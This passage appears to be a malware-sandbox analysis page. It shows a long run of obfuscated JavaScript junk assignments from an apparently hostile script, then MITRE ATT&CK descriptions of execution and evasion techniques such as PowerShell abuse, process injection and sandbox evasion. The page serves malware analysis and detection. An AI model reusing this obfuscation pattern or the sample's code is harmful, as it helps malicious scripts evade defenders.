340	ckdjzdyu = "t";
341	ckdjzdyu = "m";
342	tvaehwu = "t";
343	tvaehwu = "P";
344	tvaehwu = "g";
345	tvaehwu = "D";
346	tvaehwu = "f";
347	tvaehwu = "C";
348	tvaehwu = "i";
349	qqmcfpbqd = "C";
350	qqmcfpbqd = "N";
351	qqmcfpbqd = "v";
352	qqmcfpbqd = "v";
353	qqmcfpbqd = "Z";
354	qqmcfpbqd = "A";
355	qqmcfpbqd = "x";
356	qqmcfpbqd = "r";
357	qqmcfpbqd = "b";
358	qqmcfpbqd = "o";
359	qqmcfpbqd = "S";
360	qqmcfpbqd = "E";
361	qqmcfpbqd = "u";
362	qqmcfpbqd = "G";
363	qqmcfpbqd = "u";
364	qqmcfpbqd = "f";
365	qqmcfpbqd = "k";
366	qqmcfpbqd = "H";
367	qqmcfpbqd = "k";
368	qqmcfpbqd = "F";
369	qqmcfpbqd = "n";
370	qqmcfpbqd = "Z";
371	qqmcfpbqd = "o";
372	qqmcfpbqd = "E";
373	qqmcfpbqd = "h";
374	qqmcfpbqd = "P";
375	qqmcfpbqd = "I";
376	qqmcfpbqd = "U";
377	qqmcfpbqd = "h";
378	qqmcfpbqd = "B";
379	qqmcfpbqd = "c";
380	qqmcfpbqd = "G";
381	qqmcfpbqd = "A";
382	qqmcfpbqd = "w";
383	qqmcfpbqd = "g";
384	qqmcfpbqd = "X";
385	qqmcfpbqd = "A";
386	qqmcfpbqd = "%";
387	bkyxvdtpp = "h";
388	bkyxvdtpp = "d";
389	bkyxvdtpp = "M";
390	bkyxvdtpp = "h";
391	bkyxvdtpp = "k";
392	bkyxvdtpp = "K";
393	bkyxvdtpp = "Q";
394	bkyxvdtpp = "g";
395	bkyxvdtpp = "d";
396	bkyxvdtpp = "N";
397	bkyxvdtpp = "J";
398	bkyxvdtpp = "J";
399	bkyxvdtpp = "A";
400	bkyxvdtpp = "q";
401	bkyxvdtpp = "I";
402	bkyxvdtpp = "k";
403	bkyxvdtpp = "V";
404	bkyxvdtpp = "v";
405	bkyxvdtpp = "b";
406	bkyxvdtpp = "z";
407	bkyxvdtpp = "N";
408	bkyxvdtpp = "K";
409	bkyxvdtpp = "U";
410	bkyxvdtpp = "z";
411	bkyxvdtpp = "N";
412	bkyxvdtpp = "z";
413	bkyxvdtpp = "c";
414	bkyxvdtpp = "p";
415	bkyxvdtpp = "I";
416	bkyxvdtpp = "H";
417	bkyxvdtpp = "X";
418	bkyxvdtpp = "S";
419	bkyxvdtpp = "r";
420	bkyxvdtpp = "Q";
421	bkyxvdtpp = "w";
422	bkyxvdtpp = "h";
423	bkyxvdtpp = "K";
424	bkyxvdtpp = "O";
425	bkyxvdtpp = "e";
426	bkyxvdtpp = "A";
427	bkyxvdtpp = "d";
428	hjmeaz = "z";
429	hjmeaz = "m";
430	hjmeaz = "W";
431	hjmeaz = "A";
432	hjmeaz = "H";
433	hjmeaz = "Q";
434	hjmeaz = "g";
435	hjmeaz = "J";
436	hjmeaz = "e";
437	hjmeaz = "d";
438	hjmeaz = "T";
439	hjmeaz = "p";
440	hjmeaz = "c";
441	hjmeaz = "B";
442	hjmeaz = "g";
443	hjmeaz = "C";
444	hjmeaz = "l";
445	hjmeaz = "A";
446	hjmeaz = "S";
447	hjmeaz = "s";
448	hjmeaz = "I";
449	hjmeaz = "g";
450	hjmeaz = "e";
451	hjmeaz = "E";
452	hjmeaz = "X";
453	hjmeaz = "e";
454	hjmeaz = "c";
455	hjmeaz = "c";
456	hjmeaz = "t";
457	hjmeaz = "w";
458	hjmeaz = "q";
459	hjmeaz = "m";
460	hjmeaz = "X";
461	hjmeaz = "i";
462	hjmeaz = "Z";
463	hjmeaz = "s";
464	hjmeaz = "v";
465	hjmeaz = "h";
466	pllgk = "w";
467	pllgk = "M";
468	pllgk = "l";
469	pllgk = "J";
470	pllgk = "N";
471	pllgk = "X";
472	pllgk = "b";
473	pllgk = "S";
474	pllgk = "V";
475	pllgk = "V";
476	pllgk = "A";
477	pllgk = "J";
478	pllgk = "I";
479	pllgk = "n";
480	pllgk = "v";
481	pllgk = "g";
482	pllgk = "T";
483	pllgk = "k";
484	pllgk = "K";
485	pllgk = "R";
486	pllgk = "o";
487	pllgk = "y";
488	pllgk = "r";
489	pllgk = "X";
490	pllgk = "q";
491	pllgk = "x";
492	pllgk = "i";
493	pllgk = "u";
494	pllgk = "h";
495	pllgk = "S";
496	pllgk = "C";
497	lxylisybq = "x";
498	lxylisybq = "S";
499	lxylisybq = "v";
500	lxylisybq = "V";
501	lxylisybq = "P";
502	lxylisybq = "Q";
503	lxylisybq = "O";
504	lxylisybq = "f";
505	lxylisybq = "W";
506	zndlru = "K";
507	zndlru = "k";
508	zndlru = "c";
509	zndlru = "Q";
510	zndlru = "x";
511	zndlru = "e";
512	zndlru = "G";
513	zndlru = "D";
514	zndlru = "M";
515	zndlru = "F";
516	zndlru = "k";
517	zndlru = "p";
518	zndlru = "f";
519	zndlru = "H";
520	zndlru = "X";
521	zndlru = "v";
522	zndlru = "g";
523	zndlru = "N";
524	zndlru = "f";
525	zndlru = "b";
526	zndlru = "E";
527	zndlru = "b";
528	zndlru = "L";
529	zndlru = "Q";
530	zndlru = "-";
531	ypmeagme = "j";
532	ypmeagme = "E";
533	ypmeagme = "W";
534	ypmeagme = "g";
535	ypmeagme = "Z";
536	ypmeagme = "Z";
537	ypmeagme = "b";
538	ypmeagme = "u";
539	ypmeagme = "q";
540	ypmeagme = "Z";
541	ypmeagme = "R";
542	ypmeagme = "K";
543	ypmeagme = "b";
544	ypmeagme = "f";
545	ypmeagme = "x";
546	ypmeagme = "i";
547	ypmeagme = "f";
548	ypmeagme = "Q";
549	ypmeagme = "w";
550	ypmeagme = "I";
551	ypmeagme = "/";
552	knanxhvqe = "Z";
553	knanxhvqe = "z";
554	knanxhvqe = "q";
555	knanxhvqe = "W";
556	knanxhvqe = "C";
557	knanxhvqe = "O";
558	knanxhvqe = "X";
559	knanxhvqe = "W";
560	knanxhvqe = "F";
561	knanxhvqe = "q";
562	knanxhvqe = "c";
563	knanxhvqe = "l";
564	knanxhvqe = "X";
565	knanxhvqe = "V";
566	knanxhvqe = "_";
567	rptvf = "Y";
568	rptvf = "J";
569	rptvf = "h";
570	rptvf = "i";
571	rptvf = "Z";
572	rptvf = "L";
573	rptvf = "T";
574	rptvf = "b";
575	rptvf = "x";
576	hljvjxt = "c";
577	hljvjxt = "H";
578	hljvjxt = "f";
579	hljvjxt = "T";
580	hljvjxt = "M";
581	hljvjxt = "D";
582	hljvjxt = "g";
583	hljvjxt = "l";
584	hljvjxt = "s";
585	hljvjxt = "Z";
586	hljvjxt = "z";
587	hljvjxt = "D";
588	hljvjxt = "v";
589	hljvjxt = "U";
590	hljvjxt = "D";
591	hljvjxt = "x";
592	hljvjxt = "Z";
593	hljvjxt = "z";
594	hljvjxt = "M";
595	hljvjxt = "X";
596	hljvjxt = "c";
597	hljvjxt = "W";
598	hljvjxt = "m";
599	hljvjxt = "C";
600	hljvjxt = "k";
601	hljvjxt = "t";
602	hljvjxt = "x";
603	hljvjxt = "f";
604	hljvjxt = "w";
605	hljvjxt = "w";
606	hljvjxt = "M";
607	hljvjxt = "i";
608	hljvjxt = "9";
609	okzjqjt = "U";
610	ihhap = "p";
611	ihhap = "N";
612	ihhap = "L";
613	ihhap = "X";
614	ihhap = "H";
615	uyahrjdcu = "O";
616	uyahrjdcu = "V";
617	uyahrjdcu = "E";
618	uyahrjdcu = "e";
619	uyahrjdcu = "h";
620	uyahrjdcu = "P";
621	zgsyprli = "d";
622	zgsyprli = "R";
623	zgsyprli = "m";
624	zgsyprli = "B";
625	zgsyprli = "i";
626	zgsyprli = "d";
627	zgsyprli = "Q";
628	zgsyprli = "b";
629	zgsyprli = "a";
630	zgsyprli = "g";
631	zgsyprli = "r";
632	zgsyprli = "w";
633	zgsyprli = "S";
634	zgsyprli = "Z";
635	zgsyprli = "y";
636	zgsyprli = "F";
637	zgsyprli = "A";
638	zgsyprli = "S";
639	zgsyprli = "z";
640	zgsyprli = "U";
641	zgsyprli = "w";
642	zgsyprli = "C";
643	zgsyprli = "i";
644	zgsyprli = "E";
645	zgsyprli = "Y";
646	zgsyprli = "O";
647	zgsyprli = "H";
648	zgsyprli = "D";
649	zgsyprli = "b";
650	zgsyprli = "G";
651	zgsyprli = "x";
652	zgsyprli = "i";
653	zgsyprli = "B";
654	zgsyprli = "Y";
655	zgsyprli = "e";
656	zgsyprli = "p";
657	zgsyprli = "d";
658	zgsyprli = "g";
659	zgsyprli = "P";
660	zgsyprli = "F";
661	zgsyprli = "L";
662	zgsyprli = "m";
663	zgsyprli = "G";
664	zgsyprli = "g";
665	zgsyprli = "g";
666	tktpuv = "O";
667	tktpuv = "5";
668	scdmxzyz = "d";
669	scdmxzyz = "h";
670	scdmxzyz = "Z";
671	scdmxzyz = "d";
672	scdmxzyz = "l";
673	scdmxzyz = "S";
674	scdmxzyz = "u";
675	scdmxzyz = "i";
676	scdmxzyz = "P";
677	scdmxzyz = "s";
678	scdmxzyz = "m";
679	scdmxzyz = "j";
680	scdmxzyz = "e";
681	scdmxzyz = "o";
682	scdmxzyz = "n";
683	scdmxzyz = "G";
684	scdmxzyz = "J";
685	scdmxzyz = "N";
686	scdmxzyz = "J";
687	scdmxzyz = "r";
688	scdmxzyz = "t";
689	scdmxzyz = "A";
690	scdmxzyz = "v";
691	scdmxzyz = "m";
692	scdmxzyz = "i";
693	scdmxzyz = "Z";
694	scdmxzyz = "b";
695	scdmxzyz = "i";
696	scdmxzyz = "F";
697	scdmxzyz = "L";
698	scdmxzyz = "t";
699	scdmxzyz = "W";
700	scdmxzyz = "M";
701	scdmxzyz = "N";
702	scdmxzyz = "R";
703	scdmxzyz = "C";
704	scdmxzyz = "S";
705	scdmxzyz = "u";
706	scdmxzyz = "B";
707	scdmxzyz = "S";
708	scdmxzyz = "C";
709	scdmxzyz = "B";
710	scdmxzyz = "X";
711	scdmxzyz = "b";
712	scdmxzyz = "Y";
713	ahqjar = "E";
714	ahqjar = "B";
715	ahqjar = "L";
716	ahqjar = "n";
717	ahqjar = "g";
718	ahqjar = "x";
719	ahqjar = "Y";
720	ahqjar = "s";
721	ahqjar = "L";
722	ahqjar = "u";
723	ahqjar = "q";
724	ahqjar = "e";
725	ahqjar = "e";
726	ahqjar = "D";
727	ahqjar = "t";
728	ahqjar = "X";
729	ahqjar = "u";
730	ahqjar = "w";
731	ahqjar = "m";
732	ahqjar = "b";
733	ahqjar = "N";
734	ahqjar = "H";
735	ahqjar = "G";
736	ahqjar = "z";
737	ahqjar = "X";
738	ahqjar = "M";
739	ahqjar = "a";
740	ahqjar = "Y";
741	ahqjar = "x";
742	ahqjar = "G";
743	ahqjar = "Q";
744	ahqjar = "l";
745	ahqjar = "V";
746	ahqjar = "E";
747	ahqjar = "r";
748	ahqjar = "t";
749	ahqjar = "8";
750	cwtwruz = "C";
751	cwtwruz = "R";
752	cwtwruz = "t";
753	cwtwruz = "L";
754	cwtwruz = "S";
755	cwtwruz = "s";
756	cwtwruz = "w";
757	cwtwruz = "Q";
758	cwtwruz = "n";
759	cwtwruz = "b";
760	cwtwruz = "Y";
761	cwtwruz = "E";
762	cwtwruz = "F";
763	cwtwruz = "D";
764	cwtwruz = "c";
765	cwtwruz = "K";
766	cwtwruz = "n";
767	cwtwruz = "I";
768	cwtwruz = "T";
769	cwtwruz = "W";
770	cwtwruz = "A";
771	cwtwruz = "i";
772	cwtwruz = "j";
773	cwtwruz = "i";
774	cwtwruz = "F";
775	cwtwruz = "F";
776	cwtwruz = "z";
777	cwtwruz = "f";
778	cwtwruz = "U";
779	cwtwruz = "F";
780	cwtwruz = "j";
781	cwtwruz = "p";
782	cwtwruz = "w";
783	cwtwruz = "m";
784	cwtwruz = "k";
785	cwtwruz = "e";
786	cwtwruz = "M";
787	cwtwruz = "e";
788	jlcrtsv = "M";
789	jlcrtsv = "E";
790	jlcrtsv = "m";
791	jlcrtsv = "K";
792	jlcrtsv = "F";
793	jlcrtsv = "M";
794	jlcrtsv = "G";
795	jlcrtsv = "g";
796	jlcrtsv = "c";
797	jlcrtsv = "T";
798	jlcrtsv = "U";
799	jlcrtsv = "x";
800	jlcrtsv = "y";
801	jlcrtsv = "r";
802	jlcrtsv = "3";
803	zvddcayp = "o";
804	zvddcayp = "Q";
805	zvddcayp = "E";
806	zvddcayp = "o";
807	zvddcayp = "S";
808	zvddcayp = "P";
809	zvddcayp = "s";
810	zvddcayp = "u";
811	zvddcayp = "z";
812	zvddcayp = "P";
813	zvddcayp = "Q";
814	zvddcayp = "O";
815	zvddcayp = "S";
816	zvddcayp = "E";
817	itiqqawiv = "y";
818	itiqqawiv = "B";
819	itiqqawiv = "e";
820	itiqqawiv = "n";
821	itiqqawiv = "Z";
822	itiqqawiv = "v";
823	itiqqawiv = "J";
824	itiqqawiv = "w";
825	itiqqawiv = "B";
826	itiqqawiv = "u";
827	apybkwfpe = "e";
828	apybkwfpe = "i";
829	apybkwfpe = "U";
830	apybkwfpe = "O";
831	apybkwfpe = "L";
832	gyiqqx = "k";
833	gyiqqx = "f";
834	gyiqqx = "M";
835	gyiqqx = "q";
836	gyiqqx = "J";
837	gyiqqx = "H";
838	gyiqqx = "O";
839	gyiqqx = "B";
840	gyiqqx = "Q";
841	gyiqqx = "H";
842	gyiqqx = "Q";
843	gyiqqx = "G";
844	gyiqqx = "Q";
845	gyiqqx = "i";
846	gyiqqx = "X";
847	gyiqqx = "B";
848	gyiqqx = "k";
849	gyiqqx = "n";
850	gyiqqx = "V";
851	gyiqqx = "W";
852	gyiqqx = "v";
853	gyiqqx = "o";
854	gyiqqx = "n";
855	gyiqqx = "R";
856	gyiqqx = "r";
857	gyiqqx = "D";
858	gyiqqx = "I";
859	gyiqqx = "h";
860	gyiqqx = "j";
861	gyiqqx = "V";
862	gyiqqx = "T";
863	gyiqqx = "x";
864	gyiqqx = "a";
865	gyiqqx = "U";
866	gyiqqx = "P";
867	gyiqqx = "T";
868	gyiqqx = "y";
869	gyiqqx = "O";
870	gyiqqx = "U";
871	gyiqqx = "k";
872	gyiqqx = "u";
873	gyiqqx = "E";
874	gyiqqx = "x";
875	gyiqqx = "k";
876	vkkidc = "Z";
877	vkkidc = "T";
878	vkkidc = "d";
879	vkkidc = "D";
880	vkkidc = "c";
881	vkkidc = "i";
882	vkkidc = "G";
883	vkkidc = "t";
884	vkkidc = "v";
885	vkkidc = "n";
886	vkkidc = "K";
887	vkkidc = "T";
888	vkkidc = "j";
889	vkkidc = "z";
890	vkkidc = "Q";
891	vkkidc = "W";
892	vkkidc = "z";
893	vkkidc = "H";
894	vkkidc = "b";
895	vkkidc = "p";
896	vkkidc = "G";
897	vkkidc = "B";
898	vkkidc = "Q";
899	vkkidc = "N";
900	vkkidc = "h";
901	vkkidc = "L";
902	vkkidc = "A";
903	vkkidc = "v";
904	vkkidc = "O";
905	vkkidc = "h";
906	vkkidc = "L";
907	vkkidc = "b";
908	vkkidc = "H";
909	vkkidc = "m";
910	vkkidc = "V";
911	vkkidc = "R";
912	vkkidc = "v";
913	vkkidc = "o";
914	vkkidc = "G";
915	vkkidc = ".";
916	knjuzpe = "m";
917	knjuzpe = "H";
918	knjuzpe = "J";
919	knjuzpe = "q";
920	itwcz = "M";
921	itwcz = "w";
922	itwcz = "e";
923	itwcz = "Q";
924	itwcz = "l";
925	itwcz = "o";
926	itwcz = "C";
927	itwcz = "l";
928	itwcz = "k";
929	itwcz = "H";
930	itwcz = "A";
931	itwcz = "T";
932	itwcz = "c";
933	itwcz = "X";
934	itwcz = "k";
935	itwcz = "E";
936	itwcz = "B";
937	itwcz = "C";
938	itwcz = "I";
939	itwcz = "z";
940	itwcz = "c";
941	itwcz = "D";
942	itwcz = "w";
943	itwcz = "p";
944	itwcz = "A";
945	itwcz = "c";
946	itwcz = "o";
947	itwcz = "N";
948	itwcz = "S";
949	dnpkwnxd = "w";
950	dnpkwnxd = "w";
951	dnpkwnxd = "i";
952	dnpkwnxd = "x";
953	dnpkwnxd = "E";
954	dnpkwnxd = "s";
955	dnpkwnxd = "O";
956	mkhri = "S";
957	mkhri = "D";
958	mkhri = "d";
959	mkhri = "I";
960	mkhri = "k";
961	mkhri = "x";
962	mkhri = "e";
963	mkhri = "k";
964	mkhri = "P";
965	mkhri = "D";
966	mkhri = "u";
967	mkhri = "J";
968	mkhri = "S";
969	mkhri = "t";
970	mkhri = "O";
971	mkhri = "X";
972	mkhri = "K";
973	mkhri = "F";
974	mkhri = "y";
975	mkhri = "X";
976	mkhri = "I";
977	zuvwdnko = "z";
978	zuvwdnko = "k";
979	zuvwdnko = "l";
980	zuvwdnko = "l";
981	zuvwdnko = "v";
982	zuvwdnko = "u";
983	zuvwdnko = "r";
984	zuvwdnko = "J";
985	zuvwdnko = "S";
986	zuvwdnko = "g";
987	zuvwdnko = "k";
988	zuvwdnko = "N";
989	zuvwdnko = "g";
990	zuvwdnko = "T";
991	zuvwdnko = "y";
992	zuvwdnko = "c";
993	zuvwdnko = "J";
994	zuvwdnko = "I";
995	zuvwdnko = "Q";
996	zuvwdnko = "R";
997	zuvwdnko = "v";
998	zuvwdnko = "D";
999	zuvwdnko = "F";
1000	zuvwdnko = "G";
1001	zuvwdnko = "l";
1002	dyedgmp = "R";
1003	dyedgmp = "E";
1004	dyedgmp = "U";
1005	dyedgmp = "b";
1006	dyedgmp = "I";
1007	dyedgmp = "c";
1008	dyedgmp = "B";
1009	dyedgmp = "A";
1010	dyedgmp = "a";
1011	dyedgmp = "G";
1012	dyedgmp = "S";
1013	dyedgmp = "P";
1014	dyedgmp = "i";
1015	dyedgmp = "g";
1016	dyedgmp = "R";
1017	dyedgmp = "e";
1018	dyedgmp = "J";
1019	dyedgmp = "p";
1020	dyedgmp = "R";
1021	dyedgmp = "m";
1022	dyedgmp = "t";
1023	dyedgmp = "O";
1024	dyedgmp = "K";
1025	dyedgmp = "U";
1026	dyedgmp = "q";
1027	dyedgmp = "C";
1028	dyedgmp = "t";
1029	dyedgmp = "D";
1030	dyedgmp = "H";
1031	dyedgmp = "z";
1032	dyedgmp = "n";
1033	nsewt = "r";
1034	nsewt = "F";
1035	nsewt = "Q";
1036	nsewt = "H";
1037	nsewt = "&";
1038	gdmazak = "q";
1039	gdmazak = "Z";
1040	gdmazak = "y";
1041	gdmazak = "y";
1042	gdmazak = "q";
1043	gdmazak = "L";
1044	gdmazak = "R";
1045	krnaiwmj = "t";
1046	krnaiwmj = "W";
1047	krnaiwmj = "Q";
1048	krnaiwmj = "k";
1049	krnaiwmj = "R";
1050	krnaiwmj = "l";
1051	krnaiwmj = "R";
1052	krnaiwmj = "G";
1053	krnaiwmj = "X";
1054	krnaiwmj = "v";
1055	krnaiwmj = "l";
1056	krnaiwmj = "e";
1057	krnaiwmj = "N";
1058	krnaiwmj = "l";
1059	krnaiwmj = "T";
1060	krnaiwmj = "d";
1061	krnaiwmj = "t";
1062	pzltf = "a";
1063	pzltf = "r";
1064	pzltf = "o";
1065	pzltf = "P";
1066	pzltf = "r";
1067	isohzzfy = "l";
1068	isohzzfy = "P";
1069	isohzzfy = "V";
1070	isohzzfy = "g";
1071	isohzzfy = "e";
1072	isohzzfy = "R";
1073	isohzzfy = "j";
1074	isohzzfy = "a";
1075	isohzzfy = "O";
1076	isohzzfy = "h";
1077	isohzzfy = "C";
1078	isohzzfy = "b";
1079	isohzzfy = "f";
1080	isohzzfy = "K";
1081	zsicdh = "T";
1082	zsicdh = "D";
1083	zsicdh = "i";
1084	zsicdh = "e";
1085	zsicdh = "S";
1086	zsicdh = "E";
1087	zsicdh = "C";
1088	zsicdh = "l";
1089	zsicdh = "G";
1090	zsicdh = "Q";
1091	zsicdh = "J";
1092	zsicdh = "L";
1093	zsicdh = "D";
1094	zsicdh = "Z";
1095	zsicdh = "Y";
1096	zsicdh = "C";
1097	zsicdh = "A";
1098	zsicdh = "Q";
1099	zsicdh = "M";
1100	zsicdh = "U";
1101	zsicdh = "j";
1102	zsicdh = "A";
1103	zsicdh = "w";
1104	zsicdh = "E";
1105	zsicdh = "u";
1106	zsicdh = "i";
1107	zsicdh = "A";
1108	zsicdh = "j";
1109	zsicdh = "h";
1110	zsicdh = "u";
1111	zsicdh = "T";
1112	zozcdp = "U";
1113	zozcdp = "r";
1114	zozcdp = "N";
1115	zozcdp = "l";
1116	zozcdp = "I";
1117	zozcdp = "c";
1118	zozcdp = "b";
1119	zozcdp = "D";
1120	zozcdp = "F";
1121	zozcdp = "P";
1122	zozcdp = "i";
1123	zozcdp = "v";
1124	zozcdp = "i";
1125	zozcdp = "O";
1126	zozcdp = "p";
1127	zozcdp = "W";
1128	zozcdp = "f";
1129	zozcdp = "K";
1130	zozcdp = "L";
1131	zozcdp = "Y";
1132	zozcdp = "U";
1133	zozcdp = "a";
1134	zozcdp = "h";
1135	zozcdp = "v";
1136	zozcdp = "y";
1137	zozcdp = "a";
1138	zozcdp = "C";
1139	zozcdp = "M";
1140	zozcdp = " ";
1141	zmwla = "y";
1142	zmwla = "B";
1143	zmwla = "q";
1144	zmwla = "g";
1145	zmwla = "y";
1146	zmwla = "m";
1147	zmwla = "F";
1148	zmwla = "c";
1149	ukyvkvgay = "N";
1150	ukyvkvgay = "C";
1151	ukyvkvgay = "n";
1152	ukyvkvgay = "Q";
1153	ukyvkvgay = "h";
1154	ukyvkvgay = "E";
1155	ukyvkvgay = "X";
1156	ukyvkvgay = "J";
1157	ukyvkvgay = "x";
1158	ukyvkvgay = "a";
1159	ukyvkvgay = "w";
1160	ukyvkvgay = "n";
1161	ukyvkvgay = "d";
1162	ukyvkvgay = "w";
1163	ukyvkvgay = "K";
1164	ukyvkvgay = "H";
1165	ukyvkvgay = "c";
1166	ukyvkvgay = "f";
1167	ukyvkvgay = "D";
1168	ukyvkvgay = "x";
1169	ukyvkvgay = "K";
1170	ukyvkvgay = "A";
1171	ukyvkvgay = "e";
1172	ukyvkvgay = "i";
1173	ukyvkvgay = "r";
1174	ukyvkvgay = "f";
1175	bgbsy = "V";
1176	bgbsy = "C";
1177	bgbsy = "C";
1178	bgbsy = "U";
1179	bgbsy = "D";
1180	bgbsy = "j";
1181	bgbsy = "j";
1182	bgbsy = "M";
1183	bgbsy = "g";
1184	bgbsy = "S";
1185	bgbsy = "h";
1186	bgbsy = "u";
1187	bgbsy = "k";
1188	bgbsy = "y";
1189	bgbsy = "j";
1190	bgbsy = "l";
1191	bgbsy = "S";
1192	bgbsy = "p";
1193	bgbsy = "P";
1194	bgbsy = "k";
1195	bgbsy = "n";
1196	bgbsy = "N";
1197	bgbsy = "a";
1198	olrghqe = "t";
1199	olrghqe = "K";
1200	olrghqe = "Q";
1201	olrghqe = "X";
1202	olrghqe = "v";
1203	olrghqe = "q";
1204	olrghqe = "J";
1205	olrghqe = "c";
1206	olrghqe = "k";
1207	olrghqe = "f";
1208	olrghqe = "l";
1209	olrghqe = "I";
1210	olrghqe = "x";
1211	olrghqe = "c";
1212	olrghqe = "w";
1213	olrghqe = "S";
1214	olrghqe = "q";
1215	olrghqe = "V";
1216	olrghqe = "b";
1217	olrghqe = "R";
1218	olrghqe = "o";
1219	olrghqe = "V";
1220	olrghqe = "Y";
1221	olrghqe = "T";
1222	olrghqe = "s";
1223	olrghqe = "N";
1224	olrghqe = "a";
1225	olrghqe = "F";
1226	olrghqe = "b";
1227	olrghqe = "u";
1228	olrghqe = "U";
1229	olrghqe = "w";
1230	olrghqe = "o";
1231	olrghqe = "G";
1232	olrghqe = "O";
1233	olrghqe = "I";
1234	olrghqe = "C";
1235	olrghqe = "K";
1236	olrghqe = "x";
1237	olrghqe = "G";
1238	olrghqe = "m";
1239	olrghqe = "b";
1240	olrghqe = "M";
1241	olrghqe = "Q";
1242	olrghqe = "2";
1243	rznldwuog = "h";
1244	rznldwuog = "t";
1245	rznldwuog = "Z";
1246	rznldwuog = "v";
1247	rznldwuog = "z";
1248	rznldwuog = "J";
1249	rznldwuog = "A";
1250	rznldwuog = "X";
1251	rznldwuog = "J";
1252	rznldwuog = "W";
1253	rznldwuog = "N";
1254	rznldwuog = "l";
1255	rznldwuog = "f";
1256	rznldwuog = "S";
1257	rznldwuog = "O";
1258	rznldwuog = "U";
1259	rznldwuog = "m";
1260	rznldwuog = "C";
1261	rznldwuog = "E";
1262	rznldwuog = "U";
1263	rznldwuog = "z";
1264	rznldwuog = "t";
1265	rznldwuog = "c";
1266	rznldwuog = "y";
1267	rznldwuog = "d";
1268	rznldwuog = "c";
1269	rznldwuog = "X";
1270	rznldwuog = "s";
1271	rznldwuog = "N";
1272	rznldwuog = "A";
1273	rznldwuog = "a";
1274	rznldwuog = "Y";
1275	rznldwuog = "z";
1276	rznldwuog = "u";
1277	rznldwuog = "0";
1278	rzkzyah = "N";
1279	rzkzyah = "g";
1280	rzkzyah = "X";
1281	rzkzyah = "y";
1282	rzkzyah = "E";
1283	rzkzyah = "I";
1284	rzkzyah = "s";
1285	rzkzyah = "I";
1286	rzkzyah = "H";
1287	rzkzyah = "s";
1288	rzkzyah = "L";
1289	rzkzyah = "f";
1290	rzkzyah = "q";
1291	rzkzyah = "I";
1292	rzkzyah = ":";
1293	qafcbnb ( );	qafcbnb() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

